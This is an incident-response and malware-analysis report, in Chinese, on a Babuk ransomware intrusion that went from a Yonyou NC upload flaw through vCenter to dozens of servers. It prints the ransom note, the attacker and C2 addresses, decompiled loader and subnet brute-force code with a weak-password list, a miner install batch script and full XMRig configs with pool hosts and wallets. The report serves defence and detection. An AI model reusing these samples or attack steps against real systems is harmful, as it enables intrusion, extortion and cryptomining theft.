利用多款国产内网渗透工具勒索数十台虚拟机的babyk解密恢复项目

时间: 2024-10-17 16:02:20 浏览量:145

1.背景

  2024年4月11日,某影视公司的服务器遭受了勒索软件攻击,随后向我司寻求帮助进行恢复。经过我司溯源排查,勒索组织通过一处用友NC资产进行入侵,攻击者利用国产工具横移了数小时后实施勒索。其中一台超融合(vcenter)成了攻击者重要跳板,但也因为这台重要跳板的“端点挂全部挂”的特性,勒索攻击得到了有效地“自动”遏制,最后排查得出30多台服务器被勒索,重要系统被锁定无法使用,溯源过程中还发现了多个挖矿木马,目前尚不清楚该挖矿木马是否与此次勒索病毒组织有关联,但这也揭示了客户网络安全防护的薄弱之处。

  经分析,确认该病毒家族为Babuk,加密之后的文件后缀为.babyk。我司解密专家通过多种数据恢复手段成功将加密文件全部恢复,经负责人确认恢复文件内容无误。

  在2024年4月11日至2024年4月20日期间,我司组织了6人次的应急响应团队,为客户受害服务器提供数据备份、溯源分析、漏洞修复、网络排查、渗透测试、安全加固等多项工作。同时,公司网络安全实验室的多位安全专家参与了病毒的逆向分析、日志溯源分析和解密工作,运维专家根据目前现场运维环境及网络架构提出了针对性的安全建设意见。整体圆满完成各项任务,达到客户要求指标。

2.溯源分析

2.1 受灾情况统计

  2024年4月12日,Solar应急响应团队到达该集团现场,对受灾服务器进行断网并排查,最终排查情况如下:

被加密服务器数量16台
被加密文件总数28793809个
被加密数据大小22.45TB
后门木马29个
黑客利用工具3个
数据恢复时长2天
数据恢复率99%

  统计出的被加密服务器情况:

顺序IP服务器名称加密时间文件总数加密文件总数
1192.168.0.112024.04.0716560414938
2192.168.0.222024.04.07341511432435
3192.168.0.332024.04.07172396557963
...省略数行

表中数据已脱敏,仅作示例参考

2.2 最初攻击时间

  1.在2024-04-06 21:21:58攻击者(104.234.240.225)探测到一处用友NC6.5资产存在saveXmlToFileServlet任意文件上传漏洞,利用该漏洞成功突破边界拿到了第一个shell。后续用友官方人员利用工具确认了此漏洞存在。

图1 用友自测工具扫描结果图

图2 中间件日志

  木马存在一定的混淆特征,将常规的\u给混了,用替换将不合规的全换回来就能看见明文。明文下的webshell也不能理解,参数zxc,传入A83In中,构造ProcessBuilder对象,调用cmd /C 执行A83In,中间符号并无意义。

图3 混淆的jsp木马

图4 解开混淆后的明文

2.3 其他工具利用

  2.在2024.04.06-22:37攻击者就上传了s6.exe,经过确认是内防渗透工具fscan.exe。对内网进行扫描,命中了数台主机,其中就有那台“重要的跳板机”vcenter(超融合)。

 &emspfscan.exe:一款内网综合扫描工具,该工具支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis 批量写公钥、计划任务反弹 shell、读取 win 网卡信息、web 指纹识别、web 漏洞扫描、netbios 探测、域控识别等功能。

 &emsps6.exe通过命令可进行查看版本信息,为V1.8.3,对比github上的fscan发现hash一致未做编译操作。

 &emspSHA1:5a341a41bb909bf577465491420e3fce6001c5cf

 &emsp版本:V1.8.3

 &emsp工具链接:https://github.com/shadow1ng/fscan/releases

图5 fscan落地

图6 fscan扫描结果

2.4 日志排查

  3.攻击者于2024/4/7 01:32:09使用vck.exe(VcenterKiller利用工具)对vcenter平台进行攻击,分别使用了CVE-2021-21972和CVE-2021-21985。

 &emspVcenterKiller:一款针对Vcenter的综合验证工具,包含目前最主流的CVE-2021-21972、CVE-2021-21985以及CVE-2021-22005,提供一键上传webshell,命令执行或者上传公钥并使用SSH连接的功能,以及针对Apache Log4j CVE-2021-44228漏洞在Vcenter上的检测以及利用。

 &emspvck.exe通过命令可进行查看版本信息,为V1.3.6,对比github上的VcenterKiller发现hash一致未做编译操作。SHA1:804858fc2546fc9cd60eb075082b118ffaeb18a8

 &emsp版本:V1.3.6

 &emsp工具链接:https://github.com/Schira4396/VcenterKiller/releases/tag/v1.3.7

图7 首次开始攻击vcenter平台

  4.攻击者在2024/4/7 02:27成功对vcenter上传shell,并在2024/4/7 02:28:53访问webshell进行操作。攻击期间攻击者于2024/4/7 1:46上传了另一个木马,里面有一个IP185.196.11.210,在日志里并没有成功触发。

图8 vcenter上webshell落地时间

图9 访问webshell开始进行攻击

图10 offline_bundle木马

  5.在2024/4/7 3:06,攻击者翻到了vcenter的凭证,因此在2024/4/7 3:57:05登陆了vcenter平台直接对其他主机的攻击。此刻的攻击者还没意识到“问题”所在。

图11 打包凭证xxs.zip

图12 成功登陆vcenter平台

  6.攻击者利用vcenter平台于2024/04/07 4:29:3登陆第六台服务器和第七台服务器,在上面直接对服务器进行攻击操作。

图13 成功登陆第六台服务器

图14 成功登陆第七台服务器

  7.在2024/04/07 4:35:48,攻击者在第七台服务器上使用rdp连接第五台服务器,并发现该数据主机的rdp密码。

图15 利用rdp登陆第五台服务器

图16 第七台服务器上记录了第五台服务器的密码

  8.后续我们通过恢复手段发现,攻击者在2024/04/07 04:46左右返回了vcenter利用上面获得的密码登陆第五台服务器,并做了frp代理(工具已删除)。

图17 攻击者利用vcenter登陆第五台服务器

图18 frp执行证明贴图

  9.攻击者在第五台服务器上翻找,打开了运维常用的secureCRT,里面恰好记录两台主机的密码,这样第五台服务器成为了下一个跳板。

图19 SecureCRT登陆缓存

  10.由于加密的工具均被删除,利用everything可以得知加密开始时间为2024.04.07 05:09。

图20 加密开始时间

  11.攻击者在于2024.04.07 06:34:50将操作日志全部清除。但是攻击者想不到的是,加密完一部分主机后,其他横不过去了宕掉了。原因在于,这款超融合的特性,只要下面的节点(端点)挂掉,其他的就不能登上去了,而vcenter在超融合里自然就过不去了,勒索攻击至此被“自动”遏制了。

图21 日志被清除

  12.攻击者104.234.240.225属于加拿大 多伦多,同段多为代理和木马主机。

图22 攻击者IP溯源

  13.对用友NC6.5系统进行渗透测试,同时厂家用友对该系统进行全面扫描,发现确实存在文件上传漏洞,与上述吻合。

图23 我方人员渗透测试贴图

图24 厂家用友扫描贴图

2.5 后门排查

图1 黑客使用的工具

图2 黑客上传的木马

图3 黑客地址

 ██████╗  ██████╗ ██████╗ ███████╗    ██████╗ ███████╗██╗      █████╗ ██╗  ██╗    ██╗██╗██╗
██╔═══██╗██╔═══██╗██╔══██╗██╔════╝    ██╔══██╗██╔════╝██║     ██╔══██╗╚██╗██╔╝    ██║██║██║
██║   ██║██║   ██║██████╔╝███████╗    ██████╔╝█████╗  ██║     ███████║ ╚███╔╝     ██║██║██║
██║   ██║██║   ██║██╔═══╝ ╚════██║    ██╔══██╗██╔══╝  ██║     ██╔══██║ ██╔██╗     ╚═╝╚═╝╚═╝
╚██████╔╝╚██████╔╝██║     ███████║    ██║  ██║███████╗███████╗██║  ██║██╔╝ ██╗    ██╗██╗██╗
 ╚═════╝  ╚═════╝ ╚═╝     ╚══════╝    ╚═╝  ╚═╝╚══════╝╚══════╝╚═╝  ╚═╝╚═╝  ╚═╝    ╚═╝╚═╝╚═╝
                                                                                           


What happened?
---------------------------------------------------------------
Your computers and servers have been encrypted, which is fundamentally different from normal file damages.
And you can save yourself the trouble of going to the internet to find a way to decrypt them, because unless you pay the ransom.
Even if God comes, he will not be able to help you recover them!


What guarantees?
---------------------------------------------------------------
We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests.
All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems.
You can contact us to test an unimportant encrypted file and we will decrypt it to prove that we have the ability to decrypt them.


How to canotact us?A
---------------------------------------------------------------
Your encryption ID:7gui):

You can contact us at the email address below:

ijtg5gr@keemail.me
ag55htr@keemail.me


How to Pay?
---------------------------------------------------------------
Please pay $20000 worth of bitcoins(BTC) to the address below:

bc1qz23mpc3qdy02jzw64xw9zhe4s275un40efsd2l

We will send you the decryption program after we confirm your payment.


---------------------------------------------------------------
*****WARNING: You have up to 7 days to consider whether or not to make a payment,
              so hurry or you may lose your files and data forever,
              And, we will make all your data available to the Internet. 

图4 勒索信内容

图5 加密后缀

2.6 详细攻击路径

  2024年3月24日,根据对日志的调研分析,安全专家已梳理出入侵路线如下(已脱敏):

  攻击者在2024/04/07针对集团主机实施勒索攻击,在2024/04/06通过对用友NC6.5系统漏洞进行利用成功获取webshelll,随后对内网进行扫描获取vcenter平台的登陆权限。攻击者在2024/04/07通过vcenter平台登陆其中一台受害主机拿到第五台服务器的RDP密码,之后在第五台服务器主机的运维工具上获得其他受害主机的密码。最后攻击者在2024/04/07 5:09实施勒索攻击。期间攻击者利用IP185.196.11.210、104.234.240.225均被判定为恶意IP,由于攻击者将windows日志和其他重要日志清除,无法捕获加密器。

3.恶意文件分析

  溯源过程中我们提取到了加密器并且还提取到了疑似黑客留下的其他攻击工具、挖矿木马,下文一一进行了列举分析,因受篇幅影响,针对加密器的分析会在下篇文章进行推送。

3.1 gykauy.exe文件信息

大小gykauy.exe(221277 bytes)
操作系统Windows
架构i386
类型exe
字节序Little Endian
SHA2562f10ce62e3fcf5c0b2db110211503bc0b857226b65e826300d14af0c040dd7d8
大小gykauy.exe(221277 bytes)
操作系统Windows
架构i386

3.1.1 混淆去除

  两种混淆模式:

  1.利用异常,抛出异常后接收,干扰控制流分析。

  2.类似vmp的垃圾指令,执行但不影响程序环境.这张图中,混淆指令从0x401189开始,到达0x4011f1结束。

  ida的解析:

3.1.2 第一层外壳文件逆向分析

  以下分许全部基于去除混淆之后的idb文件。

3.1.2.1 主函数

  简单地输出调试信息,再检测命令行是否为字符串”Win7”.然后跳入对应的函数,这些函数的区别在第二层壳中显示出。

  解密pe文件,并加载,后跳至导出表的不同函数。

3.1.2.2 解密函数

  简单的异或加密,中间加了Sleep对抗沙箱.

![(https://solar-www.oss-cn-qingdao.aliyuncs.com/669-data/uploads/20240905/e7faeec03a4e4d823efdf83aff2d25d7.png)

3.1.2.3 加载pe文件

  常规加载方式,分配内存,解析重定位,填充iat,恢复页面属性,调用入口函数.

  加载主函数:

int *__cdecl load_pe(_DWORD *a1)
{
  int *result; // eax
  char *v2; // edi
  int *v3; // esi
  HANDLE ProcessHeap; // eax
  int *v5; // ebx
  char *v6; // eax
  char *v7; // eax
  int *v8; // ecx
  int v9; // eax
  int *v10; // eax
  int *v11; // [esp+10h] [ebp-4h]
 
  if ( *(_WORD *)a1 != 'ZM' )
    return 0;
  v2 = (char *)a1 + a1[15];
  if ( *(_DWORD *)v2 != 'EP' )
    return 0;
  v3 = (int *)VirtualAlloc(*((LPVOID *)v2 + 13), *((_DWORD *)v2 + 20), 0x2000u, 4u);
  v11 = v3;
  if ( !v3 )
  {
    result = (int *)VirtualAlloc(0, *((_DWORD *)v2 + 20), 0x2000u, 4u);
    v11 = result;
    if ( !result )
      return result;
    v3 = result;
  }
  ProcessHeap = GetProcessHeap();
  v5 = (int *)HeapAlloc(ProcessHeap, 0, 0x14u);
  v5[1] = (int)v3;
  v5[3] = 0;
  v5[2] = 0;
  v5[4] = 0;
  VirtualAlloc(v3, *((_DWORD *)v2 + 20), 0x1000u, 4u);
  v6 = (char *)VirtualAlloc(v3, *((_DWORD *)v2 + 21), 0x1000u, 4u);
  qmemcpy(v6, a1, *((_DWORD *)v2 + 21) + a1[15]);
  v7 = &v6[a1[15]];
  *v5 = (int)v7;
  *((_DWORD *)v7 + 13) = v11;
  alloc_segs((int)a1, (int)v2, v5);
  v8 = (int *)*((_DWORD *)v2 + 13);
  if ( v11 != v8 )
    process_relocs(v5, (char *)v11 - (char *)v8);
  if ( !fill_iat(v5) )
    goto LABEL_14;
  protect_memory(v5);
  v9 = *(_DWORD *)(*v5 + 40);
  if ( v9 )
  {
    v10 = (int *)((char *)v11 + v9);
    if ( !v10 || !((int (__stdcall *)(int *, int, _DWORD))v10)(v11, 1, 0) )// 调用脱壳后dll的dllentrypoint
    {
LABEL_14:
      free_all(v5);
      return 0;
    }
    v5[4] = 1;
  }
  return v5;
}

3.1.3 第二层壳(dll)分析

大小Space.dll(175104 bytes)
操作系统Windows
架构i386
类型dll
字节序Little Endian
SHA25606ade8d134978874bbd191717433041dd743a18fe6524a72ab0afc3107940e79

  导出表:Loginfo是上文命令行传win7时候调用的.FE就是不含win7的时候调用。

3.1.3.1 dll逆向分析

  以下内容基于FE函数的分析,即命令行不含有win7.loginfo和fe的区别在于win7缺少自删除,添加服务,自我复制。

3.1.3.2 初始化

  dll的入口点,初始化一些字符串和控制参数,来源是原程序导出表中的space函数点,初始化一些字符串和控制参数,来源是原程序导出表中的space函数。

  部分字符串如图所示,其余的都是一些无用字符串,是互斥量名,服务名之类.

  加密的恶意地址:

端口0x760e;

  一些控制变量;

3.1.3.3 主循环函数

Main_loop_func:

  打开服务注册表:

  创建服务,自我复制到随机文件名;

  设置服务失败操作,自动重启。

  使用vbs实现自删除。

  创建服务,设置服务程序。

  以用户模式创建进程。

  综上,服务操作为,创建服务,以用户身份创建新进程运行恶意程序的网络操作。

  自我复制

3.1.3.4 网络操作

  这些网络操作由于实际没有开启控制变量,所以暂时不会运行。

  解密网络地址:

  解密函数:

  初始化互斥量,加载socket库:

  连接恶意服务器,使用tcp协议:

  创建下载线程:

  下载后解压,使用zlib 1.2.5:

  前面是库函数代码,红圈这里调用程序自己的组件。

  获取系统信息,主频,内存大小,时间等等。

  zlib压缩发送到恶意服务器。

  程序组件中有一些键盘,音视频,url下载之类的,应该是功能组件,但是这里没有运行,没有下载内容,参数未知,所以无法分析。

3.1.3 小结

  本恶意程序运行后,解密pe文件,该pe文件获取系统信息,连接恶意地址,压缩并发送系统信息,同时下载内容,解压后获得一些信息,使用这些信息运行木马组件。

  恶意地址 : vig.nishabig.pro:30222

3.2 1110.exe文件信息

文件名1110.exe
大小5693307(5.43 MiB)
操作系统Windows(XP)
架构I386
模式32位
类型GUI
字节序LE
MD5dbe2a40d35e0aeca8107ce6e533f4b5a
SHA256399c78458edbe427dc7a66c123b8503a2ccc6b8cc4b80502774315305cb9bac6

3.2.1 恶意行为分析

  文件为自解压程序,在程序的附加节中可以得到压缩数据,且压缩数据格式为RAR。

  解压可得到以下内容,自解压程序会解压程序到目录C:/IDE/Microsoft/5/

  其中3.bat

C:/IDE/Microsoft/5/nssm.exe install javf C:/IDE/Microsoft/5/javasgs.exe
 
C:/windows/system32/net start javf
 
del C:/IDE/Microsoft/5/3.bat

config.json

{
    "api": {
        "id": null,
        "worker-id": null
    },
    "http": {
        "enabled": false,
        "host": "127.0.0.1",
        "port": 0,
        "access-token": null,
        "restricted": true
    },
    "autosave": true,
    "background": false,
    "colors": true,
    "title": true,
    "randomx": {
        "init": -1,
        "init-avx2": -1,
        "mode": "auto",
        "1gb-pages": false,
        "rdmsr": true,
        "wrmsr": true,
        "cache_qos": false,
        "numa": true,
        "scratchpad_prefetch_mode": 1
    },
    "cpu": {
        "enabled": true,
        "huge-pages": true,
        "huge-pages-jit": false,
        "hw-aes": null,
        "priority": null,
        "memory-pool": false,
        "yield": true,
        "max-threads-hint": 70,
        "max-cpu-usage": 70,
        "asm": true,
        "argon2-impl": null,
        "cn/0": false,
        "cn-lite/0": false
    },
    "opencl": {
        "enabled": false,
        "cache": true,
        "loader": null,
        "platform": "AMD",
        "adl": true,
        "cn/0": false,
        "cn-lite/0": false
    },
    "cuda": {
        "enabled": false,
        "loader": null,
        "nvml": true,
        "cn/0": false,
        "cn-lite/0": false
    },
    "donate-level": 0,
    "donate-over-proxy": 0,
    "log-file": null,
    "pools": [
        {
            "algo": null,
            "coin": null,
            "url": "xmr.aaaaaaaa.cyou:1110",
            "user": "45PX6QS4EhgRC1YbPNPRz8GmhyF7N4WVxQssZnhhc7xodKNNrQiEqxz9uQEMD6e8isjHVHt3Vk9Nqh5HMRgjVw4RC61FY5W",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": false,
            "enabled": true,
            "tls": true,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        },
        {
            "url": "aaaaaaaa.cyou:443",
            "user": "45PX6QS4EhgRC1YbPNPRz8GmhyF7N4WVxQssZnhhc7xodKNNrQiEqxz9uQEMD6e8isjHVHt3Vk9Nqh5HMRgjVw4RC61FY5W",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": false,
            "enabled": true,
            "tls": true,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        },
        {
            "url": "asia.aaaaaaaa.cyou:1110",
            "user": "45PX6QS4EhgRC1YbPNPRz8GmhyF7N4WVxQssZnhhc7xodKNNrQiEqxz9uQEMD6e8isjHVHt3Vk9Nqh5HMRgjVw4RC61FY5W",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": false,
            "enabled": true,
            "tls": true,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        },
        {
            "url": "us.aaaaaaaa.cyou:1110",
            "user": "45PX6QS4EhgRC1YbPNPRz8GmhyF7N4WVxQssZnhhc7xodKNNrQiEqxz9uQEMD6e8isjHVHt3Vk9Nqh5HMRgjVw4RC61FY5W",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": false,
            "enabled": true,
            "tls": true,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        },
        {
            "url": "eu.aaaaaaaa.cyou:1110",
            "user": "45PX6QS4EhgRC1YbPNPRz8GmhyF7N4WVxQssZnhhc7xodKNNrQiEqxz9uQEMD6e8isjHVHt3Vk9Nqh5HMRgjVw4RC61FY5W",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": false,
            "enabled": true,
            "tls": true,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        }
    ],
    "print-time": 60,
    "health-print-time": 60,
    "dmi": true,
    "retries": 5,
    "retry-pause": 5,
    "syslog": false,
    "tls": {
        "enabled": false,
        "protocols": null,
        "cert": null,
        "cert_key": null,
        "ciphers": null,
        "ciphersuites": null,
        "dhparam": null
    },
    "dns": {
        "ipv6": false,
        "ttl": 10
    },
    "user-agent": null,
    "verbose": 0,
    "watch": true
}

3.2.2 小结

  运行自解压程序之后会解压在文件夹C:/IDE/Microsoft/5/下,并且启动3.bat完成挖矿程序的安装与运行。

3.3 dgbggrcn.exe文件信息

文件名dgbggrcn.exe
大小6104064(5.82 MiB)
操作系统Windows(XP)
架构I386
模式32位
类型GUI
字节序LE
MD55e291e4b7e16b673814e797c328e79dc
SHA256f30498c8c98dd403d9304868e42096f8320bd14aaa4b10c3f01d5802ca5a9a13
文件名dsvvbfdcn.exe
大小6104064(5.82 MiB)
操作系统Windows(XP)
架构I386
模式32位
类型GUI
字节序LE
MD53a977a9bf985854d664b8d1ccf33d0f8
SHA256e4f87ed86f1c054b53389d12a86e724489f00040cc5f3b48ce89da09a596116a

  文件相似度:

  两个文件相似度很高,我们选取其中一个分析即可,接下来的分析均基于dgbggrcn.exe.

3.3.1 威胁分析

  程序首先会在当前环境中寻找TXnbib.dll,若没有找到,则进入函数sub_3C1EB0进行更进一步处理

int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
  HMODULE ModuleHandleA; // [esp+0h] [ebp-18h]
  void *Block; // [esp+4h] [ebp-14h]
  CHAR ModuleName[12]; // [esp+8h] [ebp-10h] BYREF

  strcpy(ModuleName, "TXnbib.dll");
  ModuleHandleA = GetModuleHandleA(ModuleName);
  if ( !ModuleHandleA )
  {
    Block = malloc(0x40000000u);
    memset(Block, 65, 0x40000000u);
    off_41B3B0(10);
    j___free_base(Block);
    sub_3C1EB0(0, (int)Block);
    while ( 1 )
      off_41B3B0(10000);
  }
  sub_3C1040(ModuleHandleA);
  return 0;
}

  查看函数sub_3C1EB0此处会对数据进行解密

int __cdecl sub_3C1EB0(int a1, int a2)
{
  char *v2; // ecx
  char *v3; // esi
  int *v4; // eax
  void (*v6)(void); // esi

  v3 = v2;
  sub_3C1E50(aMz, dword_3D47EC, dword_3D47F0);//解密
  v4 = sub_3C1970(aMz);//在此处下断点
  if ( !v4 )
    return off_41B3B0(0);
  v6 = (void (*)(void))sub_3C1C40(v4, v3);
  off_41B3B0(0);
  if ( v6 )
  {
    v6();
    memset(aMz, 0, 0x46000u);
  }
  off_41B3B0(0);
  return sub_3C1DD0(a1, a2);
}

  dump下此处内存,即可得到TXnbib.dll

3.3.2 TXnbib.dll

  去除TXnbib.dll的附加节之后得到以下信息

文件名TXnbib.dll
大小233472(228.00 KiB)
操作系统Windows(XP)
架构I386
模式32位
类型DLL
字节序LE
MD513f0c0fe9a96c36863ae74c7f453b99d
SHA256dccf9a931c0074a79ca31d46ad5f93e2f8e0eebd5d2f2b6d8fb9057088a2fced

  分析此dll的字符串

  疑似比特地址

.data:1002CFA8        0000008E        C        -o stratum+tcp://cn.t1linux.com:34965 -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc -p I

  大量弱密码

.data:1002DF58        0000000B        C        0123456789
.data:1002DF6C        00000008        C        0123456
.data:1002DF74        0000000A        C        password1
.data:1002DF80        00000007        C        qaz123
.data:1002DF88        00000007        C        qqqqqq
.data:1002DF90        00000007        C        asdfgh
.data:1002DF98        00000007        C        asd123
.data:1002DFA0        00000008        C        zxcvbnm
.data:1002DFA8        00000007        C        zxcvbn
.data:1002DFB0        00000007        C        a1b2c3
.data:1002DFB8        00000007        C        aaaaaa
.data:1002DFC4        00000007        C        123abc
.data:1002DFCC        00000007        C        abc123
.data:1002DFD4        00000007        C        qwerty
.data:1002DFDC        0000000B        C        qwertyuiop
.data:1002DFE8        0000000A        C        qazwsxedc
.data:1002DFF4        00000007        C        qazwsx
.data:1002DFFC        00000008        C        qwer123
.data:1002E004        00000009        C        qwer1234
.data:1002E010        00000007        C        qwe123
.data:1002E018        0000000A        C        111222333
.data:1002E024        00000007        C        111222
.data:1002E02C        00000007        C        112233
.data:1002E034        0000000C        C        11111111111
.data:1002E040        00000009        C        11111111
.data:1002E04C        00000007        C        111111
.data:1002E058        00000009        C        88888888
.data:1002E064        00000007        C        888888
.data:1002E074        00000009        C        66666666
.data:1002E080        00000007        C        666666
.data:1002E098        0000000A        C        123456789
.data:1002E0A4        00000009        C        12345678
.data:1002E0BC        00000008        C        1234567
.data:1002E0C4        00000007        C        123123
.data:1002E0D4        00000007        C        123456
.data:1002E0DC        00000009        C        pa$$word
.data:1002E0E8        00000009        C        passw0rd
.data:1002E0F4        00000009        C        Password
.data:1002E110        00000008        C        a123456
.data:1002E118        00000009        C        admin123
.data:1002E124        00000006        C        guest
.data:1002E12C        00000007        C        admin$
.data:1002E134        00000006        C        admin
.data:1002E13C        00000009        C        password

  常见虚拟机与调试器判断

.data:1002DCD4        00000015        C        ImmunityDebugger.exe
.data:1002DCEC        0000000B        C        windbg.exe
.data:1002DCF8        0000000C        C        x64_dbg.exe
.data:1002DD04        0000000C        C        OllyICE.exe
.data:1002DD10        0000000C        C        OllyDBG.EXE
.data:1002DD1C        0000000C        C        VBoxRes.dll
.data:1002DD28        0000000E        C        Sandboxie.exe
.data:1002DD38        0000000B        C        Anubis.exe
.data:1002DD44        0000000B        C        Cuckoo.exe
.data:1002DD50        0000000C        C        SbieSvc.exe
.data:1002DD5C        00000013        C        sandboxierpcss.exe
.data:1002DD70        00000018        C        sandboxiedcomlaunch.exe
.data:1002DD88        0000000C        C        SbieDrv.sys
.data:1002DD94        0000000C        C        vboxdrv.sys
.data:1002DDA0        00000017        C        VBoxGuestAdditions.sys
.data:1002DDB8        0000000C        C        Vboxusb.sys
.data:1002DDC4        0000000F        C        Vboxusbmon.sys
.data:1002DDD4        0000000F        C        vboxnetadp.sys
.data:1002DDE4        00000011        C        VirtualBox Guest
.data:1002DDF8        00000010        C        Virtual Machine
.data:1002DE08        00000007        C        VMware 
.data:1002DE20        0000000D        C        VMware Tools

  常见操作系统

.data:1002DE34        0000000B        C        Windows XP
.data:1002DE40        00000017        C        Windows Server 2003 R2
.data:1002DE58        00000014        C        Windows Server 2003
.data:1002DE6C        00000024        C        Windows XP Professional x64 Edition
.data:1002DE90        00000014        C        Windows Server 2008
.data:1002DEA4        0000000E        C        Windows Vista
.data:1002DEB4        00000017        C        Windows Server 2008 R2
.data:1002DECC        0000000A        C        Windows 7
.data:1002DED8        00000014        C        Windows Server 2012
.data:1002DEEC        0000000A        C        Windows 8
.data:1002DEF8        0000000B        C        Windows 10
.data:1002DF04        0000000C        C        Windows 8.1

  虚拟机判断

int sub_10009510()
{
  SC_HANDLE v0; // ebp
  struct _ENUM_SERVICE_STATUSA *v2; // esi
  DWORD v3; // ebx
  PCSTR *p_lpDisplayName; // esi
  DWORD ServicesReturned; // [esp+10h] [ebp-Ch] BYREF
  DWORD ResumeHandle; // [esp+14h] [ebp-8h] BYREF
  DWORD pcbBytesNeeded; // [esp+18h] [ebp-4h] BYREF

  v0 = OpenSCManagerA(0, 0, 4u);
  if ( !v0 )
    return -1;
  pcbBytesNeeded = 0;
  ServicesReturned = 0;
  ResumeHandle = 0;
  v2 = (struct _ENUM_SERVICE_STATUSA *)LocalAlloc(0x40u, 0x10000u);
  if ( !EnumServicesStatusA(v0, 0x30u, 3u, v2, 0x10000u, &pcbBytesNeeded, &ServicesReturned, &ResumeHandle) )
    return -1;
  v3 = 0;
  if ( ServicesReturned )
  {
    p_lpDisplayName = (PCSTR *)&v2->lpDisplayName;
    while ( !StrStrIA(*p_lpDisplayName, aVmwareTools)
         && !StrStrIA(*p_lpDisplayName, aVmware_0)
         && !StrStrIA(*p_lpDisplayName, aVirtualMachine)
         && !StrStrIA(*p_lpDisplayName, aVirtualboxGues) )
    {
      ++v3;
      p_lpDisplayName += 9;
      if ( v3 >= ServicesReturned )
        goto LABEL_12;
    }
    return 1;
  }
  else
  {
LABEL_12:
    CloseServiceHandle(v0);
    return 0;
  }
}

  检查开放的端口,并尝试使用暴力枚举弱密码破解来获取对系统的访问权限。

int sub_100097E0()
{
  int result; // eax
  struct hostent *v1; // ecx
  int v2; // eax
  const void **v3; // eax
  const void *v4; // esi
  unsigned int h_length; // eax
  int v6; // edx
  int *v7; // ebx
  int v8; // ebp
  char *v9; // esi
  int *v10; // edi
  int v11; // eax
  int v12; // [esp+Ch] [ebp-258h]
  int j; // [esp+10h] [ebp-254h]
  int i; // [esp+14h] [ebp-250h]
  struct hostent *v15; // [esp+18h] [ebp-24Ch]
  int v16; // [esp+1Ch] [ebp-248h]
  int v17; // [esp+20h] [ebp-244h]
  int v18[3]; // [esp+28h] [ebp-23Ch] BYREF
  int v19[6]; // [esp+34h] [ebp-230h] BYREF
  int v20[70]; // [esp+4Ch] [ebp-218h] BYREF
  char Buffer[128]; // [esp+164h] [ebp-100h] BYREF
  char name[125]; // [esp+1E4h] [ebp-80h] BYREF
  __int16 v23; // [esp+261h] [ebp-3h]
  char v24; // [esp+263h] [ebp-1h]

  v19[0] = (int)aAdministrator;
    ...省略
  v20[66] = (int)aRoot;
  v20[67] = (int)aServer;
  v20[68] = (int)aComputer;
  v20[69] = 0;
  result = sub_100097A0();
  if ( result )
  {
    memset(name, 0, sizeof(name));
    v23 = 0;
    v24 = 0;
    if ( !gethostname(name, 128) )
    {
      v1 = gethostbyname(name);
      v15 = v1;
      if ( v1 )
      {
        v2 = 0;
        for ( i = 0; ; i += 4 )
        {
          v3 = (const void **)((char *)v1->h_addr_list + v2);
          if ( !*v3 )
            break;
          v4 = *v3;
          h_length = v1->h_length;
          memset(v18, 0, sizeof(v18));
          v12 = 0;
          qmemcpy(v18, v4, h_length);
          memset(Buffer, 0, sizeof(Buffer));
          v16 = BYTE1(v18[0]);
          v17 = LOBYTE(v18[0]);
          do
          {
            v6 = 0;
            for ( j = 0; j <= 255; ++j )
            {
              memset(Buffer, 0, sizeof(Buffer));
              sprintf(Buffer, "%d.%d.%d.%d", v17, v16, v12, v6);
              if ( aAdministrator )
              {
                v7 = v19;
                while ( !asc_1002CA9C )
                {
LABEL_14:
                  v11 = v7[1];
                  ++v7;
                  if ( !v11 )
                    goto LABEL_15;
                }
                v8 = *v7;
                v9 = asc_1002CA9C;
                v10 = v20;
                while ( 1 )
                {
                  Sleep(5u);
                  if ( sub_10009C90(Buffer, v8, v9) )
                    break;
                  v9 = (char *)v10[1];
                  ++v10;
                  if ( !v9 )
                    goto LABEL_14;
                }
              }
LABEL_15:
              v6 = j + 1;
            }
            ++v12;
          }
          while ( v12 <= 255 );
          v1 = v15;
          v2 = i + 4;
        }
      }
    }
    WSACleanup();
    return 1;
  }
  return result;
}

3.3.3 恶意行为

  此DLL会访问 216.105.98.122:3666 (mon.nishabig.pro),根据威胁情报

  释放文件1HI.exe

文件名1HI.exe
大小1341952(1.28 MiB)
操作系统Windows(Vista)
架构AMD64
模式64 位
类型控制台
字节序LE
MD53385ee53b1cae650bb2d8dd0895f15e4
SHA256026a44b6910001ad3700f3c164cbbf5df3a6701d091f83684cb650106ddcd58e

3.3.4 1HI.exe

  以下日志被程序删除

%USERPROFILE%\AppData\Local\Microsoft\Windows\INetCache\IE\KLT1I0ZU\update50[1].xml  
C:\ProgramData\Microsoft\Windows\WER\Temp\WER1076.tmp.WERInternalMetadata.xml  
C:\ProgramData\Microsoft\Windows\WER\Temp\WER1087.tmp.csv  
C:\ProgramData\Microsoft\Windows\WER\Temp\WER1088.tmp.txt  
C:\ProgramData\Microsoft\Windows\WER\Temp\WER2555.tmp.WERInternalMetadata.xml  
C:\ProgramData\Microsoft\Windows\WER\Temp\WER2620.tmp.csv  
C:\ProgramData\Microsoft\Windows\WER\Temp\WER2660.tmp.txt  
C:\ProgramData\Microsoft\Windows\WER\Temp\WER4560.tmp.WERInternalMetadata.xml  
